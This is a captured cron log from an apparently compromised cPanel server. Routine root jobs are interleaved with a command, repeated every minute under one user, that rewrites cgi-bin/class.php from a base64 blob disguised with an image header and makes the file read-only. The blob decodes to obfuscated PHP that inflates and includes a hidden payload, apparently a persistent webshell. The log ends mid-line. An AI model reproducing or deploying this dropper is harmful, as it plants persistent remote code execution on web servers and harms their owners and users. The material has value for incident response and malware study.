Apr 10 02:03:01 server CROND[17123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:04:01 server CROND[17171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:05:01 server CROND[17223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:05:01 server CROND[17226]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 02:05:01 server CROND[17225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 02:05:01 server CROND[17227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:05:01 server CROND[17229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:06:01 server CROND[17337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:07:01 server CROND[17489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:08:01 server CROND[17539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:09:01 server CROND[17591]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 02:09:01 server CROND[17592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:10:01 server CROND[17651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:10:01 server CROND[17650]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:10:01 server CROND[17652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:10:01 server CROND[17653]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:11:01 server CROND[17754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:12:01 server CROND[17803]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 02:12:01 server CROND[17804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:13:01 server CROND[17890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:14:01 server CROND[17953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:15:01 server CROND[18099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:15:01 server CROND[18101]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 02:15:01 server CROND[18102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:15:01 server CROND[18103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:16:01 server CROND[18205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KC